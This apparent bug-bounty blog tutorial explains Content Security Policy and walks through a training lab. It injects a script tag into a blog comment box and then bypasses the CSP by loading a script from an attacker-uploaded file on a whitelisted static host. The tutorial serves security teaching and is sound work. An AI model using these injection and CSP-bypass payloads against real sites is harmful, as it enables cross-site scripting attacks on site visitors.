Vulnerability Tutorial: How to bypass CSP

Mykhailo Stepanov
Security Analyst
6 Minutes Read

What is Content Security Policy (CSP)

Content Security Policy is a security mechanism that helps to prevent Cross Site Scripting attacks, content injections, and other attacks.

It restricts the sources from which the web application can load the data like JavaScript, images, etc. From the client side, CSP is presented as the HTTP header in the server response, which contains some instructions. Usually, it’s configured in the web server configuration.

CSP example: Apache configuration

Here’s an example of CSP configuration on Apache, which is used in our testing environment:

Here we can see that the web server is configured to return a “Content-Security-Policy” header with some instructions for the client’s browser. The “script-src” directive is the most common and widely used. Basically, it specifies valid sources for JavaScript and WebAssembly resources.

Scripts may be loaded only from the resources which are mentioned after this directive. There are lots of other directives like:

  • img-src – Specifies valid sources of images and favicons.
  • style-src – Specifies valid sources for stylesheets
  • frame-src – Specifies valid sources for nested browsing contexts loading using elements such as <frame> and <iframe>

Click here to view the full list of the CSP directives by Mozilla developers.

How to inject a custom JavaScript code

Let’s test the functionality of a training form with valid data. Just fill it with any data you want, which is expected to be accepted with the login form:

After you’ve submitted the form, the application redirected you to the next page – “Musical blog”.

It shows a video clip with a simple comment box. The easiest thing you should check as a bounty hunter is HTML injection. Let’s figure out how the application reflects the data which was submitted by the users. To do this, send a comment with a <h1> heading tag:

After we submitted a comment, we can see that our test message looks different from the others. That means that the application does not sanitize the users’ input and reflects all the data which was submitted with the form. From now, we can test a lot of payloads to go deeper with the investigation.

In our case, the attacker can completely deface the application. But all of us are ethical hackers, and we are not interested in such bad stuff, right? As all our payloads will be visible to the blog visitors, we can try to inject the <script> tag with a console.log function, which will reflect any data we want to the browser console. So, let’s just submit a simple payload:

<script>console.log(1)</script>

As you can see, the new comment has been added and there’s no text in the text box. This may mean that our payload was successfully injected into the page. It can be easily checked by inspecting the element with the inspector tool.

This means only one thing – the JavaScript code was successfully injected, and we are on our way to the bounty. Now let’s check if the console.log function was executed, and then we’ll submit a report to Hackenproof:

Instead of the “1” which should have appeared in the browser console, we’ve got a big red error message. It tells us that the script execution failed due to Content Security Policy. As we may know, CSP is a security mechanism that helps to prevent XSS. It has a lot of possible implementations, but let’s investigate our case. Maybe, there will be a way to bypass the policy.

As a security researcher, you can check the Content Security Policy by viewing the server response. Just open the network tab at the Developer Tools:

The server response says that sources of the JavaScript code for Musical Blog are restricted to the two domains:

That means that the JavaScript code may be loaded and executed only from these two domains. Alternatively, the CSP can be checked through the CSP evaluator service. It can easily check the policy for possible bypasses.

After a quick research, we found out that the mentioned domains are used for hosting static files such as images, JS code, HTML pages, etc. We can abuse this functionality for our Musical Blog example if we upload a JS code to any of these resources. This can potentially help us to bypass the script-src policy, so let’s try to upload the same console.log payload but as a separate .js file.

In our case, we’ve uploaded the script to the surge.sh. The article does not cover this process, but you can check the official instructions. It’s quite simple, just a few commands and you are ready to go.

Now we can try to inject the JavaScript code from the source, which is not restricted by the CSP. All we need to do is submit the following payload:

<script src=”your-subdomain.surge.sh/payload.js”></script>

The main difference from the previous one is that the console.log function will be loaded from the external trusted source, and now it potentially may be executed as we are not violating the Content Security Policy.

So, let’s submit the new payload and check the console once again:

Here we can see an error message from the previous payload. “1” – the result of execution of the new one. You did it! The Content Security Policy was successfully bypassed, and the JavaScript code was executed. The simple HTML injection becomes a dangerous vulnerability that may threaten blog users with a wide range of possible attacks.

All’s left is to submit a bug report. Check our bounties to try your hand at XSS-CSP bugs.

Read more on HackenProof Blog